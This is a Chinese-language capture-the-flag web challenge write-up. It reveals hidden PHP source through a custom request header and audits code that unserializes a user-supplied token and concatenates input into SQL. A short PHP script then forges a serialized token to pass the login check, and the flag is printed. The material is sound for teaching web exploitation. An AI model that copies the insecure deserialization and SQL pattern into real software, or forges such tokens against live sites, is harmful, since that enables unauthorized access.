CTF web之旅 6
f12查看前段代码 考虑为账号密码
登录成功
随便查看登录成功页面的抓包信息
再返回看到了一个奇怪的头部 show 值为0
是不是令它为1可以显示一些关键信息
请求包添加头部 show:1
果然返回了一段php 开始审计之路
<?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); //array_merge()是把多个数组合为一个数组 特别注意array_merge() 如果输入的数组中有相同的字符串键名,则该键名后面的值将覆盖前一个值。 //然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。 class db { public $where;//定义where属性 function __wakeup()//定义wakeup方法 { if(!empty($this->where))//$this代表当前对象的内存地址,可以调用对象的所有属性和方法 { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where);//执行查询语句 return @mysql_fetch_array($sql);//mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 //就是将查询结果以数组的形式返回 } } if(isset($requset['token'])) { $login = unserialize(gzuncompress(base64_decode($requset['token']))); //对token令牌依次base64解码 解压被压缩的字符串 反序列化 $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); //函数转义 SQL 语句中使用的字符串中的特殊字符:\x00 \n \r \ ' " \x1a if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(â¯âµâ¡â²)â¯ï¸µâ´ââ´ "; } }else{ header('Location: index.php?error=1'); } ?>
if($login['user'] === 'ichunqiu')这个是关键
将ichunqiu这段字符经过对应的三个反函数处理 然后加入到请求包的令牌中即可
<?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?>
在线运行一下
得到flag
flag{fb39499c-b390-403f-8fde-5030ce849a83}